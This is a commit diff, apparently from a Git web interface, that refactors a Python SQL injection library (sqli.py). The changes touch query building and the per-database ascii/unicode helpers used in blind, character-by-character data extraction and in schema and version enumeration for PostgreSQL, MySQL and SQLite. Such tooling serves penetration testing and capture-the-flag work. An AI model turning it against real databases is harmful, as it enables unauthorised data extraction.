SQLi improvement
This commit is contained in:
31
sqli.py
31
sqli.py
@@ -6,12 +6,13 @@ class SQLi(ABC):
|
|||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def build_query(column: str|list, table=None, condition=None, offset=None, limit=1):
|
def build_query(column: str|list, table=None, condition=None, offset=None, limit=1):
|
||||||
column = column if isinstance(column, str) else ",".join(column)
|
query = "SELECT "
|
||||||
condition = "" if not condition else f" WHERE {condition}"
|
query += column if isinstance(column, str) else ",".join(column)
|
||||||
offset = "" if offset is None else f" OFFSET {offset}"
|
query += "" if not table else f" FROM {table}"
|
||||||
table = "" if not table else f" FROM {table}"
|
query += "" if not condition else f" WHERE {condition}"
|
||||||
limit = "" if limit is None else f" LIMIT {limit}"
|
query += "" if limit is None else f" LIMIT {limit}"
|
||||||
return f"SELECT {column}{table}{condition}{limit}{offset}"
|
query += "" if offset is None or limit is None else f" OFFSET {offset}"
|
||||||
|
return query
|
||||||
|
|
||||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||||
@@ -38,9 +39,8 @@ class SQLi(ABC):
|
|||||||
def substring(self, what, offset: int, size: int):
|
def substring(self, what, offset: int, size: int):
|
||||||
return f"substr({what},{offset},{size})"
|
return f"substr({what},{offset},{size})"
|
||||||
|
|
||||||
@abstractmethod
|
def ascii(self, what):
|
||||||
def ascii(self):
|
return f"ascii({what})"
|
||||||
pass
|
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def extract_int(self, column: str, table=None, condition=None,
|
def extract_int(self, column: str, table=None, condition=None,
|
||||||
@@ -210,7 +210,7 @@ class BlindSQLi(SQLi, ABC):
|
|||||||
cur_str = ""
|
cur_str = ""
|
||||||
while True:
|
while True:
|
||||||
found = False
|
found = False
|
||||||
cur_column = self.ascii() + "(" + self.substring(column, len(cur_str) + 1, 1) + ")"
|
cur_column = self.ascii(self.substring(column, len(cur_str) + 1, 1))
|
||||||
if charset:
|
if charset:
|
||||||
query = self.build_query(cur_column, table, condition, offset)
|
query = self.build_query(cur_column, table, condition, offset)
|
||||||
for c in charset:
|
for c in charset:
|
||||||
@@ -258,9 +258,6 @@ class PostgreSQLi(SQLi, ABC):
|
|||||||
f"table_schema='{schema}' AND table_name='{table}'",
|
f"table_schema='{schema}' AND table_name='{table}'",
|
||||||
verbose=verbose)
|
verbose=verbose)
|
||||||
|
|
||||||
def ascii(self):
|
|
||||||
return "ascii"
|
|
||||||
|
|
||||||
class MySQLi(SQLi, ABC):
|
class MySQLi(SQLi, ABC):
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
return self.extract_string("VERSION()", verbose=verbose)
|
return self.extract_string("VERSION()", verbose=verbose)
|
||||||
@@ -280,10 +277,6 @@ class MySQLi(SQLi, ABC):
|
|||||||
f"table_schema='{schema}' AND table_name='{table}'",
|
f"table_schema='{schema}' AND table_name='{table}'",
|
||||||
verbose=verbose)
|
verbose=verbose)
|
||||||
|
|
||||||
def ascii(self):
|
|
||||||
return "ascii"
|
|
||||||
|
|
||||||
|
|
||||||
class SQLitei(SQLi, ABC):
|
class SQLitei(SQLi, ABC):
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
return self.extract_string("sqlite_version()", verbose=verbose)
|
return self.extract_string("sqlite_version()", verbose=verbose)
|
||||||
@@ -302,5 +295,5 @@ class SQLitei(SQLi, ABC):
|
|||||||
# TODO: we could query the "sql" column and parse it using regex
|
# TODO: we could query the "sql" column and parse it using regex
|
||||||
raise Exception("Not implemented!")
|
raise Exception("Not implemented!")
|
||||||
|
|
||||||
def ascii(self):
|
def ascii(self, what):
|
||||||
return "unicode"
|
return f"unicode({what})"
|
||||||
|
|||||||
Reference in New Issue
Block a user